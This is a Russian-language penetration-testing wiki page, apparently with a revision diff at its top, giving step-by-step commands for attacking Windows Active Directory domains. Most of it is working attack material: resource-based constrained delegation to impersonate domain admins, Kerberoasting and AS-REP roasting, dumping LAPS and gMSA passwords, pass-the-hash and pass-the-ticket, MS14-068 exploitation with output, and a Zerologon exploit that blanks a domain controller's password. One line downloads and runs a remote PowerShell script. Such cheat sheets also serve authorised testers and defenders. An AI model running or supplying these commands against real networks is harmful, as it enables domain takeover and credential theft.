<syntaxhighlight lang="powershell" line="1" enclose="div" style="overflow-x:scroll" >
 +
# 1. Импорт скриптов
 +
PowerShell.exe -ExecutionPolicy Bypass
 +
Import-Module .\powermad.ps1
 +
Import-Module .\powerview.ps1
 +
 +
# 2. Получить SID пользователя
 +
$AttackerSID = Get-DomainUser SvcJoinComputerToDom -Properties objectsid | Select -Expand objectsid
 +
$ACE = Get-DomainObjectACL dc01-ww2.factory.lan | ?{$_.SecurityIdentifier -match $AttackerSID}
 +
$ACE
 +
ConvertFrom-SID $ACE.SecurityIdentifier
 +
 +
# 3. Создать машинную учетку (нужна MachineAccountQuota)
 +
New-MachineAccount -MachineAccount swktest -Password $(ConvertTo-SecureString 'Weakest123*' -AsPlainText -Force)
 +
 +
# 4. Перезаписываем параметр доменного контроллера AllowedToActOnBehalfOfOtherIdentity
 +
$ComputerSid = Get-DomainComputer swktest -Properties objectsid | Select -Expand objectsid
 +
$SD = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList "O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;$($ComputerSid))"
 +
$SDBytes = New-Object byte[] ($SD.BinaryLength)
 +
$SD.GetBinaryForm($SDBytes, 0)
 +
Get-DomainComputer dc01-ww2.factory.lan | Set-DomainObject -Set @{'msds-allowedtoactonbehalfofotheridentity'=$SDBytes}
 +
$RawBytes = Get-DomainComputer dc01-ww2.factory.lan -Properties 'msds-allowedtoactonbehalfofotheridentity' | select -expand msds-allowedtoactonbehalfofotheridentity
 +
$Descriptor = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList $RawBytes, 0
 +
$Descriptor.DiscretionaryAcl
 +
 +
# 4.
 +
$SID_FROM_PREVIOUS_COMMAND = Get-DomainComputer MACHINE_ACCOUNT_NAME -Properties objectsid | Select -Expand objectsid
 +
$SD = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList "O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;$SID_FROM_PREVIOUS_COMMAND)"; $SDBytes = New-Object byte[] ($SD.BinaryLength); $SD.GetBinaryForm($SDBytes, 0); Get-DomainComputer DC01 | Set-DomainObject -Set @{'msds-allowedtoactonbehalfofotheridentity'=$SDBytes}
 +
 +
# 4.
 +
StandIn_Net35.exe --computer dc01 --sid SID_FROM_PREVIOUS_COMMAND
 +
 +
# 5. Получаем хеш пароля
 +
Rubeus.exe hash /password:'Weakest123*' /user:swktest$  /domain:factory.lan
 +
 +
# 6.Имперсонировать доменного админа используя ранее созданную машинную учетку
 +
.\Rubeus.exe s4u /user:swktest$ /rc4:F8E064CA98539B735600714A1F1907DD /impersonateuser:Administrator /msdsspn:cifs/dc01-ww2.factory.lan /ptt /altservice:cifs,http,host,rpcss,wsman,ldap
 +
.\Rubeus.exe s4u /user:swktest$ /aes256:0129D24B2793DD66BAF3E979500D8B313444B4D3004DE676FA6AFEAC1AC5C347 /impersonateuser:Administrator /msdsspn:cifs/dc01-ww2.factory.lan /ptt /altservice:cifs,http,host,rpcss,wsman,ldap
 +
 +
</syntaxhighlight>
 +
 +
 +
==== Impacket + rbcd repo ====
 +
https://github.com/tothi/rbcd-attack
 +
 +
 +
<syntaxhighlight lang="bash" line="1" enclose="div" style="overflow-x:scroll" >
 +
# 1. Создаем фейковый ПК
 +
addcomputer.py -computer-name 'evilcomputer$' -computer-pass ev1lP@sS -dc-ip 192.168.33.203 ecorp.local/test:ohW9Lie0
 +
 +
# 2. Добавляем к цели атрибут  msDS-AllowedToActOnBehalfOfOtherIdentity с нашим созданным ПК
 +
./rbcd.py -f EVILCOMPUTER -t WEB -dc-ip 192.168.33.203 ecorp\\test:ohW9Lie0
 +
 +
# 3. Получем TGS на имперсонированный сервис
 +
getST.py -spn cifs/WEB.ecorp.local -impersonate admin -dc-ip 192.168.33.203 ecorp.local/EVILCOMPUTER$:ev1lP@sS
 +
 +
# 4. Добавляем тикет и юзаем его
 +
export KRB5CCNAME=`pwd`/admin.ccache
 +
klist
 +
</syntaxhighlight>
 +
 +
==== Powermad + Powerview + Rubeus (доступ к определенному ПК) ====
 +
 +
<syntaxhighlight lang="bash" line="1" enclose="div" style="overflow-x:scroll" >
 +
 +
# 1. Импорт зависимостей
 +
Import-Module .\powermad.ps1
 +
Import-Module .\powerview.ps1
 +
 +
# Наш аккаунт TESTLAB\attacker, у которого есть GenericWrite на права учетки primary$
 +
whoami
 +
 +
# 2. Устанавливаем домен ПК цели и получаем его SID
 +
$TargetComputer = "primary.testlab.local"
 +
$AttackerSID = Get-DomainUser attacker -Properties objectsid | Select -Expand objectsid
 +
 +
 +
# 3. Подтвердждаем наличие права GenericWrite на $TargetComputer
 +
$ACE = Get-DomainObjectACL $TargetComputer | ?{$_.SecurityIdentifier -match $AttackerSID}
 +
$ACE
 +
 +
# 4. Конвертируем SID
 +
ConvertFrom-SID $ACE.SecurityIdentifier
 +
 +
# 5. Создаем новую машинную учетку attackersystem$
 +
New-MachineAccount -MachineAccount attackersystem -Password $(ConvertTo-SecureString 'Summer2018!' -AsPlainText -Force)
 +
 +
# 6. Получаем SID созданного ПК
 +
$ComputerSid = Get-DomainComputer attackersystem -Properties objectsid | Select -Expand objectsid
 +
 +
# 7. Устанавливаем RawSecurityDescriptor у созданного ПК
 +
$SD = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList "O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;$($ComputerSid))"
 +
 +
# 8. Конвертируем байты SDDL
 +
$SDBytes = New-Object byte[] ($SD.BinaryLength)
 +
$SD.GetBinaryForm($SDBytes, 0)
 +
 +
# 9. Устанавливаем новый параметр msds-allowedtoactonbehalfofotheridentity
 +
Get-DomainComputer $TargetComputer | Set-DomainObject -Set @{'msds-allowedtoactonbehalfofotheridentity'=$SDBytes}
 +
 +
# 10. Подтверждаем установку параметра
 +
$RawBytes = Get-DomainComputer $TargetComputer -Properties 'msds-allowedtoactonbehalfofotheridentity' | select -expand msds-allowedtoactonbehalfofotheridentity
 +
$Descriptor = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList $RawBytes, 0
 +
$Descriptor.DiscretionaryAcl
 +
 +
# 11. Получаем hash нашего пароля
 +
.\Rubeus.exe hash /password:Summer2018! /user:attackersystem /domain:testlab.local
 +
 +
# 12. Получаем доступ к сервису cifs/primary.testlab.local  (harmj0y - это доменный админ)
 +
.\Rubeus.exe s4u /user:attackersystem$ /rc4:EF266C6B963C0BB683941032008AD47F /impersonateuser:harmj0y /msdsspn:cifs/primary.testlab.local /ptt
 +
 +
# 12. Проверяем доступ
 +
dir \\primary.testlab.local\C$
 +
 +
# 99. Очищаем параметр msds-allowedtoactonbehalfofotheridentity
 +
Get-DomainComputer $TargetComputer | Set-DomainObject -Clear 'msds-allowedtoactonbehalfofotheridentity'
 
</syntaxhighlight>
 
</syntaxhighlight>

Текущая версия на 14:40, 4 февраля 2022


Страница посвящена тестированию на проникновение сетей Active Directory на Windows OS.

Содержание

Общая информация о сети

Домен

PC в домене

cmd.exe

systeminfo | findstr /B /C:"Domain"
echo %userdomain%
wmic computersystem get domain

powershell

import-module activedirectory
Get-ADDomain

# current domain info
[System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain()

# domain trusts
([System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain()).GetAllTrustRelationships()


Удаленно

nmap

У доменного контроллера будут как правило открыты порты: 53/tcp (dns), 389/tcp (ldap), 88/udp (kerberos), 135/tcp.

После того, как nmap найдет доменный контроллер он еще автоматом с аргументом -sV определит домен.

Поэтому для поиска можно просканнировать сеть на данные порты

nmap -p 53,389,135 <network/24> -v -sV

ldapsearch

Если мы нашли сервис LDAP, но по каким то причинам nmap не определил домен, то можно попытаться подключиться и самим определить.

ldapsearch -x -h 10.10.10.175 -s base namingcontexts

Forest Domains

Домены могут между собой обьединены в "леса" и их тоже можно узнать.

PC в домене

PowerShell

import-module activedirectory
Get-ADForest
# current forest info
[System.DirectoryServices.ActiveDirectory.Forest]::GetCurrentForest()

# get forest trust relationships
([System.DirectoryServices.ActiveDirectory.Forest]::GetForest((New-Object System.DirectoryServices.ActiveDirectory.DirectoryContext('Forest', 'forest-of-interest.local')))).GetAllTrustRelationships()

cmd.exe

Доменный контроллер

nslookup

set type=all
_ldap._tcp.dc._msdcs.DOMAIN_NAME
nslookup -type=srv _kerberos._tcp.EXMAPLE.COM
nslookup -type=srv _kerberos._udp.EXMAPLE.COM
nslookup -type=srv _kpasswd._tcp.EXAMPLE.COM
nslookup -type=srv _kpasswd._udp.EXAMPLE.COM
nslookup -type=srv _ldap._tcp.EXAMPLE.COM
nslookup -type=srv _ldap._tcp.dc._msdcs.EXAMPLE.COM
nslookup -type=srv _ldap._tcp.pdc._msdcs.EXAMPLE.COM

# Если запросы идут к FOREST-домену
nslookup -type=srv _ldap._tcp.gc._msdcs.%DNSFORESTNAME%.
nslookup -type=srv _gc._tcp.%DNSFORESTNAME%.
nslookup -type=any %userdnsdomain%.


nltest

nltest /dclist:domainname

Powershell ActiveDirectory

Import-Module ActiveDirectory
(Get-ADDomainController -DomainName <Domain FQDN> -Discover -NextClosestSite).HostName

Powershell Resolve-DnsName

Resolve-DnsName -Name _ldap._tcp.dc._msdcs.<YOU_DOMAIN> -Type SRV


gpresult

Мало инфы

gpresult

Много инфы

gpresult /z
or
gpresult /Z


nmap

СМ. выше поиск домена используя nmap.

Доменные компьютеры

PC в домене

Powershell Get-ADComputer

import activedirectory
Get-ADComputer -Filter * -Properties IPv4Address

netdom.exe

netdom member


netdom /d:<domain name> \[/u:<domain>\<user to which query> /p:<password\] member

net.exe

net view /domain:savtech

Powershell adsisearcher

$AD = [adsisearcher]"objectcategory=computer"
$Computers = $AD.FindAll()
$Computers.Properties.Name

Удаленно

ldapsearch

ldapsearch -LLL  -H ldap://ad.ourdomain.local  -x  -D 'OURDOMAIN\user' -w 'thepassword' -b 'dc=ourdomain,dc=local' 'objectClass=computer' name

windapsearch

https://github.com/ropnop/windapsearch

windapsearch -C ...

Дополнительная информация о сети

Список пользователей

Без перебора

crackmapexec

crackmapexec smb <ip> -u <user> -p <password> --users

powershell

Get-ADUser -Filter 'Name -like "*SvcAccount"' | Format-Table Name,SamAccountName -A

Impacket-GetADUsers

python3 GetADUsers.py -all test.local/john:password123 -dc-ip 10.10.10.1

windapsearch

windapsearch --users ...


ldapsearch

ldapsearch -xLLL -h domain.org -D "domain\\user" -W -b "DC=domain,DC=org" -s sub "(objectclass=user)" sAMAccountName


С перебором

nmap

nmap -p 88 --script=krb5-enum-users --script-args="krb5-enum-users.realm='<domain>',userdb=<users_list_file>" <dc_ip>

enum4linux

enum4linux -U <dc-ip> | grep 'user:'

Время сети

Вариантов много, но не все работают.

NTP

sudo service ntp stop
sudo ntpdate -s time.nist.gov
sudo service ntp start
root@kali:~# rdate -n 10.10.10.248
Sun Oct 17 19:41:14 EDT 2021

date --set 1998-11-02 
date --set 21:08:00

Вариант 2 - если время откатывается обратно.

service ntpd stop
update-rc.d -f ntpd remove
nano /etc/ntp.conf
while true; do date --set 19:46:08 > /dev/null; done;
sudo apt-get install chrony
sudo timedatectl set-ntp true
sudo ntpdate <machine IP>

Отключить VirtualBox автоматическую установку времени

VBoxManage setextradata "VM name" "VBoxInternal/Devices/VMMDev/0/Config/GetHostTimeDisabled" 1


HTTP

Можно использовать вместе с прокси

proxychains htpdate 172.16.249.204 -s

Сетевая информация

IP

powershell

Get-ADComputer -Filter * -Properties ipv4Address, OperatingSystem, OperatingSystemServicePack | Format-List name, ipv4*, oper*
$domain = [System.Directoryservices.Activedirectory.Domain]::GetCurrentDomain()
$domain | ForEach-Object {$_.DomainControllers} | 
ForEach-Object {
  $hostEntry= [System.Net.Dns]::GetHostByName($_.Name)
New-Object -TypeName PSObject -Property @{
      Name = $_.Name
      IPAddress = $hostEntry.AddressList[0].IPAddressToString
    }
} | Select Name, IPAddress
Get-WinEvent  -Computer (computer name) -FilterHashtable @{Logname='Security';ID=4672} -MaxEvents 1 | select @{N='User';E={$_.Properties[1].Value}}

В CSV:

$domain = [System.Directoryservices.Activedirectory.Domain]::GetCurrentDomain()
$domain | ForEach-Object {$_.DomainControllers} | 
ForEach-Object {
  $hostEntry= [System.Net.Dns]::GetHostByName($_.Name)
  New-Object -TypeName PSObject -Property @{
      Name = $_.Name
      IPAddress = $hostEntry.AddressList[0].IPAddressToString
     }
} | Export-CSV "C:\DomainControllers.csv" -NoTypeInformation -Encoding UTF8

Сервисы

Group Policy

Доменный ПК

На том же ПК

Get-NetGPO -ComputerName name.domain.com

На другом ПК

Get-DomainGPO -ComputerIdentity ws01 -Properties Name,DisplayName

Обьекты с определенной политикой

Get-DomainOU -GPLink "{DDC640FF-634A-4442-BC2E-C05EED132F0C}" -Properties DistinguishedName

Все политики

Get-NetGPO | % {Get-ObjectAcl -ResolveGUIDs -Name $_.Name}

Все ПК с политикой

Get-NetOU -GUID "{DDC640FF-634A-4442-BC2E-C05EED132F0C}" | % {Get-NetComputer -ADSpath $_}

Получение начального доступа

Анонимный доступ

Для проверки анонимного доступа можно воспользоваться одним из следующих протоколов.

LDAP

windapsearch

Get-ADComputer -Filter * -Properties ipv4Address, OperatingSystem, OperatingSystemServicePack | Format-List name, ipv4*, oper*

nmap

sudo nmap x.x.X.x -Pn -sV

# 636/tcp open  ssl/ldap (Anonymous bind OK)

SMB

smbmap

python smbmap.py -H 192.168.0.1

smbclient

smbclient –L 192.168.1.108

nmap

sudo nmap -sU -sS --script smb-enum-shares.nse -p U:137,T:139 <host>

MSRPC

rpcclient

rpcclient -U '' -N 10.10.10.1

Учетные данные

Сетевой перебор учетных данных (пароля)

Перебор учетных данных по протоколам лучше смотреть тут http://itsecwiki.org/index.php/Brute_force

Стоит заметить, что лучше всего использовать технику Password Spraying тк по-умолчанию аккаунты блокируются от большого количества попыток ввода пароля. Максимум лучше по 3-5 паролей на аккаунт.

Протоколы: SMB, OWA, smtp, skype,...

Оффлайн перебор

NTLM

Если у вас есть NTLM-хеш пароля пользователя, то его можно отправить на перебор.

http://itsecwiki.org/index.php/Offline_bruteforce - тут подробнее о переборе NTLM

Также хеш не обязательно перебирать, его можно будет использовать в следующих этапах при атаке Pass The Hash (когда вместо пароля пользователя отправляется его NTLM-хеш).

TGS

Если у вас есть TGS-ticket для доступа к сервису, то вы можете пробрутить пароль учетки от которой будет идти запрос.

На странице http://itsecwiki.org/index.php/Offline_bruteforce вы можете найти команды для перебора паролей.

Kerberoasting

Это метод получения TGS. После его получения перейдите в пункт выше - перебор пароля в TGS. Как правилоm его делают когда уже авторизовались в домене, но может иногда сработать при анонимном доступе. Для этого нам потребуется найти доступные SPN

Поиск SPN
Windows в домене

cmd.exe

setspn -T TestDomain -Q */*

Пример SPN учетки MSSQLSERVER

MSSQLSERVER/SQL-Server.testdomain.com:1433


Powershell

$search = New-Object DirectoryServices.DirectorySearcher([ADSI]"")
$search.filter = "(&(objectCategory=person)(objectClass=user)(servicePrincipalName=*))"
$results = $search.Findall()
foreach($result in $results)
{
	$userEntry = $result.GetDirectoryEntry()
	Write-host "User : " $userEntry.name "(" $userEntry.distinguishedName ")"
	Write-host "SPNs"        
	foreach($SPN in $userEntry.servicePrincipalName)
	{
		$SPN       
	}
	Write-host ""
}

Invoke-Kerberoast

https://github.com/EmpireProject/Empire/blob/master/data/module_source/credentials/Invoke-Kerberoast.ps1

iex (new-object Net.WebClient).DownloadString("https://raw.githubusercontent.com/EmpireProject/Empire/master/data/module_source/credentials/Invoke-Kerberoast.ps1")
Invoke-Kerberoast -OutputFormat <TGSs_format [hashcat | john]> | % { $_.Hash } | Out-File -Encoding ASCII <output_TGSs_file>


Удаленно

Windapsearch


https://github.com/ropnop/windapsearch https://github.com/ropnop/go-windapsearch

Параметр "user-spns".

Impacket GetUserSPNs

https://github.com/SecureAuthCorp/impacket/blob/master/examples/GetUserSPNs.py

python GetUserSPNs.py <domain_name>/<domain_user>:<domain_user_password> -outputfile <output_TGSs_file>


Получение TGS
Сложные варианты

TODO

Без SPNS https://swarm.ptsecurity.com/kerberoasting-without-spns/


ASP-REP roasting

Если у Kerberos отключена предварительная аутентификация, то сервер вернет ASP-REP, зашифрованная часть которого подписана клиентским ключем на кого он выписан.

Для эксплуатации требуется выставить у аккаунта жертвы "Kerberos Pre-Authentication" в Disables.

Получить хеш

Rubeus

Rubeus.exe asreproast /user:TestOU3user /format:hashcat /outfile:hashes.asreproast


GetNPUsers.py

GetNPUsers.py CONTOSO.COM/Administrator:'P@ssw0rd' -request

python GetNPUsers.py htb.local/svc-alfresco -no-pass
python GetNPUsers.py jurassic.park/ -usersfile usernames.txt -format hashcat -outputfile hashes.asreproast
python GetNPUsers.py jurassic.park/triceratops:Sh4rpH0rns -request -format hashcat -outputfile hashes.asreproast


CrackMapExec

crackmapexec ldap 10.0.2.11 -u 'username' -p 'password' --kdcHost 10.0.2.11 --asreproast output.txt

Для информации о переборе хеша перейдите на страницу http://itsecwiki.org/index.php/Offline_bruteforce#ASP-REP

SAM & SYSTEM

Если вы каким то образом получили SAM, SYSTEM-файлы, то вы можете извлечь из них NTLM-пароли пользователей.

Но для того, чтобы получить NTLM-хеш, вам потребуется и SAM и SYSTEM.

Получение хешей

samdump2

samdump2 -d ./SAM ./SYSTEM

После чего следуйте инструкциям в пункте про NTLM.


Другие способы получения аккаунта

Пароль в комментариях

Иногда пароль может быть указан в описании пользователя. Таких полей может быть несколько: UserPassword, UnixUserPassword, unicodePwd, msSFU30Password. Поэтому желательно либо прогонять несколько команд, либо дампить пользователей, например, в LDAP и смотреть все поля.


CrackMapExec

crackmapexec ldap 10.0.2.11 -u 'username' -p 'password' --kdcHost 10.0.2.11 -M get-desc-users


Enum4Linux

enum4linux | grep -i desc


Powershell

Get-WmiObject -Class Win32_UserAccount -Filter "Domain='COMPANYDOMAIN' AND Disabled='False'" | Select Name, Domain, Status, LocalAccount, AccountType, Lockout, PasswordRequired,PasswordChangeable, Description, SID


ldapdomaindump

ldapdomaindump -u 'DOMAIN\john' -p MyP@ssW0rd 10.10.10.10 -o ~/Documents/AD_DUMP/


windapsearch https://github.com/ropnop/windapsearch

windapsearch --users --full ...

Пароли GMSA

Group Managed Service Accounts (GMSAs) - это групповая управляемая Доменная учетная запись, которая обеспечивает автоматическое управление паролями, упрощенное управление именами участников-служб и возможность делегирования управления другим администраторам. Такой тип управляемой учетной записи службы реализован в ОС Windows Server 2008 R2 и Windows 7. И надо соответственно получить хранящиеся там пароли.

Основные поля:

- msDS-GroupMSAMembership (PrincipalsAllowedToRetrieveManagedPassword) - хранят параметры безопасности кто может получить доступ к паролям

- msds-ManagedPassword - сам пароль в зашифрованном виде, его еще расшифровать надо

- msDS-ManagedPasswordId - идентификатор пароля

- msDS-ManagedPasswordInterval - информация о том, как часто будет меняться пароль автоматически


В начале требуется найти все аккаунты, у которых есть эти поля. Например, будем основываться на msDS-ManagedPasswordInterval:

Get-ADServiceAccount -filter * -prop * | Select Name,msDS-ManagedPasswordId,msDS-ManagedPasswordInterval,msds-ManagedPassword,msDS-GroupMSAMembership

Или используя windapsearch (надо перепроверить команду):

windapsearch --users --full --attrs msDS-ManagedPasswordId ...


После чего уже идет этап с эксплуатацией, если у вас есть доступ (поле msDS-GroupMSAMembership):

Powershell

$gmsa =  Get-ADServiceAccount -Identity 'SVC_SERVICE_ACCOUNT' -Properties 'msDS-ManagedPassword'
$blob = $gmsa.'msDS-ManagedPassword'
$mp = ConvertFrom-ADManagedPasswordBlob $blob
$hash1 =  ConvertTo-NTHash -Password $mp.SecureCurrentPassword


GMSAPasswordReader https://github.com/rvazarkar/GMSAPasswordReader

GMSAPasswordReader.exe --accountname SVC_SERVICE_ACCOUNT


gMSADumper - https://github.com/micahvandeusen/gMSADumper

python3 gMSADumper.py -u User -p Password1 -d domain.local

gMSA_Permissions_Collection.ps1 - https://gist.github.com/kdejoyce/f0b8f521c426d04740148d72f5ea3f6f#file-gmsa_permissions_collection-ps1

.\LAPS_Permissions_Collection.ps1 > output.txt


Пароли в LAPS

Local Administrator Password Solution(LAPS) - тупо система которая генерирует и меняет пароли по расписанию.

Особенность в том, что она хранит пароли в cleartext

ms-mcs-AdmPwd - атрибут у учетки ПК, который по-умолчанию могут прочитать только доменные админы.


Достаточно просто прочитать данные параметры у доступных аккаунтов (соответственно если это поле будет нам доступно).


adsisearcher

# для всех аккаунтов
([adsisearcher]"(&(objectCategory=computer)(ms-MCS-AdmPwd=*)(sAMAccountName=*))").findAll() | ForEach-Object { $_.properties}

# для определенного аккаунта
([adsisearcher]"(&(objectCategory=computer)(ms-MCS-AdmPwd=*)(sAMAccountName=MACHINE$))").findAll() | ForEach-Object { $_.properties}


PowerView https://github.com/PowerShellEmpire/PowerTools

Import-Module .\PowerView.ps1
Get-DomainComputer COMPUTER -Properties ms-mcs-AdmPwd,ComputerName,ms-mcs-AdmPwdExpirationTime


LAPSToolkit https://github.com/leoloobeek/LAPSToolkit

# Если есть права то пароли покажутся, иначе исключения не будет, но поля паролей будут пустыми
Get-LAPSComputers

# Ищет группы которые могут смотреть атрибут LAPS с паролем - ms-Mcs-AdmPwd
Find-LAPSDelegatedGroups

# Парсит ACL(списки управления доступом) каждого ПК в домене и ищет, кто может почитать атрибуты паролей.
Find-AdmPwdExtendedRights


Powershell AdmPwd.PS

foreach ($objResult in $colResults){$objComputer = $objResult.Properties; $objComputer.name|where {$objcomputer.name -ne $env:computername}|%{foreach-object {Get-AdmPwdPassword -ComputerName $_}}}

pyLAPS https://github.com/p0dalirius/pyLAPS

# Чтение паролей всех ПК
./pyLAPS.py --action get -u 'Administrator' -d 'LAB.local' -p 'Admin123!' --dc-ip 192.168.2.1

# Выставить случайный пароль определенному ПК
./pyLAPS.py --action set --computer 'PC01$' -u 'Administrator' -d 'LAB.local' -p 'Admin123!' --dc-ip 192.168.2.1


CrackMapExec https://github.com/byt3bl33d3r/CrackMapExec

crackmapexec smb 10.10.10.10 -u 'user' -H '8846f7eaee8fb117ad06bdd830b7586c' -M laps

LAPSDumper https://github.com/n00py/LAPSDumper

# cleartext
python laps.py -u 'user' -p 'password' -d 'domain.local'

# passthehash
python laps.py -u 'user' -p 'e52cac67419a9a224a3b108f3fa6cb6d:8846f7eaee8fb117ad06bdd830b7586c' -d 'domain.local' -l 'dc01.domain.local'

ldapsearch

ldapsearch -x -h  -D "@" -w  -b "dc=<>,dc=<>,dc=<>" "(&(objectCategory=computer)(ms-MCS-AdmPwd=*))" ms-MCS-AdmPwd`

TGT-билет

Как Cookie у браузера, он требуется для получения TGS который в свою очередь используется для подключения к сервисам. Если вы нашли файл с TGT-ключем, то у него есть два формата: kirbi & ccache, поэтому надо сконвертировать.

Конвертация

https://github.com/SecureAuthCorp/impacket/blob/master/examples/ticketConverter.py

./ticket_converter.py admin.ccache admin.kirbi
./ticket_converter.py admin.kirbi admin.ccache

Импорт тикета

!Не забудьте установить время то же, пункт выше!

.ccache

Rubeus

.\Rubeus.exe ppt /ticket:new_ticket.ccache

Mimikatz

mimikatz # kerberos::ptt new_ticket.ccache

mimikatz.exe "kerberos::ptc c:\temp\TGT_darthsidious@lab.adsecurity.org.ccache"

Bash

export KRB5CCNAME=./test.ccache

Сбор информации о пользователе

SID

Получиь SID пользователя, часто нужно для запросов/эксплуатации.

Доступ к ПК

cmd.exe

wmic useraccount get name,sid

powershell

Convert-NameToSid high-sec-corp.localkrbtgt
S-1-5-21-2941561648-383941485-1389968811-502

Группы

С доступом к ПК

Powershell

Get-ADPrincipalGroupMembership username | select name
Import-Module ActiveDirectory
(Get-ADUser userName –Properties MemberOf | Select-Object MemberOf).MemberOf

(Get-ADUser userName –Properties MemberOf).MemberOf
(New-Object System.DirectoryServices.DirectorySearcher("(&(objectCategory=User)(samAccountName=$($env:username)))")).FindOne().GetDirectoryEntry().memberOf


cmd.exe

net user /domain username

Удаленно

Windapsearch

https://github.com/ropnop/windapsearch

windapsearch -G ...

Ldapsearch

ldapsearch -x -H "ldap://openldap" -D "CN=UserName,CN=Users,DC=YOURDOMAIN,DC=NET" -w admin '(member:1.2.840.113556.1.4.1941)'
ldapsearch -LLL -x -h DC-THESHIP.PLANETEXPRESS.LOCAL -p 389 -D 'PLANETEXPRESS\SService' -w 'L1feD3@thSeamlessContinuum' -b 'DC=PLANETEXPRESS,DC=LOCAL' "(member=1.2.840.113556.1.4.1941)" dn

Правила

Доступ к ПК

Powershell

string currentuser = Environment.UserName;
string currentmachine = Environment.MachineName;

if (DirectoryEntry.Exists(string.Format("WinNT://{0}/{1}", currentmachine,  currentuser)))
{
    Console.WriteLine("it's working\n");
    Roles.Enabled = true;
    Console.WriteLine(Roles.GetRolesForUser(currentuser));
}
else
{
    Console.WriteLine("it's not working");
}


Удаленно

Политики

Автоматизированный поиск уязвимостей

BloodHound

PingCastle

Повышение привилегий

Горизонтальные

Вертикальные

Атаки

Некорректная настройка разрешений

Другое

MS14-068 (Microsoft Kerberos Checksum Validation Vulnerability)

Суть уязвимости в некорректной проверке чексуммы на контроллере доменов, что позволяет получить контроль над всем доменом. Поэтому соответственно проверки локальные на уязвимость должны проходить именно на контроллере доменов.

0. Проверить есть ли уязвимость

Powershell

Get-HotFix 3011780

ridenum

~$ git clone https://github.com/trustedsec/ridenum
~$ cd ridenum
~$ python FindSMB2UPTime.py 10.50.50.145
DC is up since: 2014-10-19 19:32:23
This DC is vulnerable to MS14-068


cmd.exe

systeminfo | find "3011780"

1. Получить SID пользователя

Как получить SID: http://itsecwiki.org/index.php/Active_directory#SID

2. Сгенерировать билет

Используя Metasploit:

Metasploit: auxiliary/admin/kerberos/ms14_068_kerberos_checksum
   Name      Current Setting                                Required  Description
   ----      ---------------                                --------  -----------
   DOMAIN    LABDOMAIN.LOCAL                                yes       The Domain (upper case) Ex: DEMO.LOCAL
   PASSWORD  P@ssw0rd                                       yes       The Domain User password
   RHOSTS    10.10.10.10                                    yes       The target address range or CIDR identifier
   RPORT     88                                             yes       The target port
   Timeout   10                                             yes       The TCP timeout to establish connection and read data
   USER      lambda                                         yes       The Domain User
   USER_SID  S-1-5-21-297520375-2634728305-5197346142-1106  yes       The Domain User SID, Ex: S-1-5-21-1755879683-3641577184-3486455962-1000

Используя pykek:

https://github.com/SecWiki/windows-kernel-exploits/tree/master/MS14-068/pykek

git clone https://github.com/SecWiki/windows-kernel-exploits
cd windows-kernel-exploits
python ./ms14-068.py -u <userName>@<domainName> -s <userSid> -d <domainControlerAddr> -p <clearPassword>

python ms14-068.py -u user01@metasploitable.local -d msfdc01.metasploitable.local -p Password1 -s S-1-5-21-2928836948-3642677517-2073454066
-1105
  [+] Building AS-REQ for msfdc01.metasploitable.local... Done!
  [+] Sending AS-REQ to msfdc01.metasploitable.local... Done!
  [+] Receiving AS-REP from msfdc01.metasploitable.local... Done!
  [+] Parsing AS-REP from msfdc01.metasploitable.local... Done!
  [+] Building TGS-REQ for msfdc01.metasploitable.local... Done!
  [+] Sending TGS-REQ to msfdc01.metasploitable.local... Done!
  [+] Receiving TGS-REP from msfdc01.metasploitable.local... Done!
  [+] Parsing TGS-REP from msfdc01.metasploitable.local... Done!
  [+] Creating ccache file 'TGT_user01@metasploitable.local.ccache'... Done!

3. Загрузить билет

Как загрузить билет: http://itsecwiki.org/index.php/Active_directory#.D0.98.D0.BC.D0.BF.D0.BE.D1.80.D1.82_.D1.82.D0.B8.D0.BA.D0.B5.D1.82.D0.B0

4. Настроить время

Последний шаг - перед использованием настроить время такое же как и у DC. Выше было как

CVE-2020-1472 Zerologon

Уязвимость эксплуатируется максимум за 256 запросов доменному контроллеру. Ошибка в целом принадлежит реализации netlogon.

Если тупо - при выставлении нулей в запросе, максимум за 256 запросов DC примет вас за выбранного вами пользователя без проверки пароля.

Проверить

Mimikatz

privilege::debug
# Check for the CVE
lsadump::zerologon /target:DC01.LAB.LOCAL /account:DC01$

CrackMapExec

crackmapexec smb 10.10.10.10 -u username -p password -d domain -M zerologon

https://github.com/SecuraBV/CVE-2020-1472

proxychains python3 zerologon_tester.py DC01 172.16.1.5

Эксплуатировать

Этапы:

1. Отправление 256 запросов (max).

2. Отключение шифрования MS-NRPC (стандартная процедура на стороне клиента, как, например разрешение на небезопасное подключение в HTTPS)

3. Смена пароля текущего юзера используя MS-NRPC

Следующими командами можно сбросить пароль у DC01 на пустой.

https://github.com/dirkjanm/CVE-2020-1472/blob/master/cve-2020-1472-exploit.py

#reset DC01 pass
proxychains python3 cve-2020-1472-exploit.py DC01 172.16.1.5

Mimikatz

privilege::debug

# Exploit the CVE and set the computer account's password to ""
lsadump::zerologon /target:DC01.LAB.LOCAL /account:DC01$ /exploit

#Вариант 2: сбросить пароль по Windows API на "Waza1234/Waza1234/Waza1234/"
lsadump::postzerologon /target:10.10.10.10 /account:DC01$


samAccountName spoofing

Если кратко: в начале AD пробует найти имя аккаунта указанное вами. Если имя не найдено, то AD добавляет $ в конец имени (признак машинной учетки ) и работает с новым именем. Поэтому атакующий может создать например аккаунт DC, получить для него билет, после чего переименовать учетку и с данными билетом постучаться на сервер. Тк аккаунта DC уже не существует, то он постучится от аккаунта DC$ - а это учетка доменного админа.


Проверка

Требуется, следующий параметр: MachineAccountQuota > 0 - Число учетных записей компьютеров, которые пользователь может создать в домене.

Проверяем квоту на создание акккаунтов:

crackmapexec ldap 10.10.10.10 -u username -p 'Password123' -d 'domain.local' --kdcHost 10.10.10.10 -M MAQ

StandIn.exe --object ms-DS-MachineAccountQuota=*


Проверяем уязвим ли доменный контроллер:

crackmapexec smb 10.10.10.10 -u '' -p '' -d domain -M nopac

Эксплуатация

1. Создать машинную учету с произвольным именем


Impacket

